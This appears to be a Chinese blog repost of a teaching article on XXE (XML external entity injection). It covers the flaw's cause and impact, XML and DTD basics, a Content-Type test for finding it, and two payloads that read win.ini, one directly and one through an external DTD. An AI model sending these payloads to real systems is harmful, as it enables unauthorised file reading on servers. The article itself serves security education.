点击蓝字，关注我们
什么是XXE？
XXE 漏洞全称XML External Entity Injection，即 xml 外部实体注入漏洞，XXE 漏洞发生在应用程序解析 XML 输入时，没有禁止外部实体的加载，导致可加载恶意外部文件，造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
漏洞原理
1、解析XML输入时没有禁止外部实体加载
2、没有对XML文件进行过滤，导致可以上传非正常文件
漏洞危害
1、文件读取
2、命令执行
3、内网端口扫描
4、攻击内网网站
XML的基础知识
什么是XML
XML被设计为传输和存储数据，其焦点是数据的内容，其把数据从HTML分离，是独立于软件和硬件的信息传输工具（就是如果数据都放到html中的话整个html就会显得特别臃肿，由此,html只用来展示网页的页面，而XML则用来负责存储和传输相关的数据，各司其职）
XML结构
<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是note类型的文档-->
<!ELEMENT note (to,from,head,body)>
<!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为“#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为“#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为“#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为“#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>Nice to meet you</body>
</note>
如何挖掘
Content-Type值判断
Content-Type: text/xml
Content-Type: application/xml
Content-Type: ajax/xml
更改Content-Type的值为text/xml或application/xml查看响应
漏洞案例
1、读取文件内容 (file协议）
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]>
<x>&xxe;</x>
2、引入外部实体dtd
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1:81/test.dtd">
%file;
]>
<x>&send;</x>
test.dtd内容如下
<!ENTITY send SYSTEM "file:///C:/Windows/win.ini">
成功加载外部实体dtd，读取win.ini文件
原文始发于微信公众号（TimeAxis Sec）：OWASP TOP10之XXE
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论